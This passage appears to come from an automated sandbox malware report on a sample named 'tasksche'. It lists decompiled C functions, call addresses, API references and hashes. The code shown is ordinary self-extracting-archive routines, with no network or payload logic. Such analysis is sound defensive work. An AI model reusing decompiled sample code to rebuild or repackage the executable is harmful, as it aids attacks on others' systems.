				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						FindCloseChangeNotification( *_t19); // executed
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				FindCloseChangeNotification( *(_t21 + 0x198)); // executed
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				long _t29;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_v8 = 0x1000;
						_t29 = RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8); // executed
						if(_t29 == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db7e
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32 ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4); // executed
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					return SetEnvironmentVariableW(L"sfxpar", _t10);
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNEL32(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxcmd, xrefs: 0040D60B
sfxpar, xrefs: 0040D63E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t66 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0);
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNEL32(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
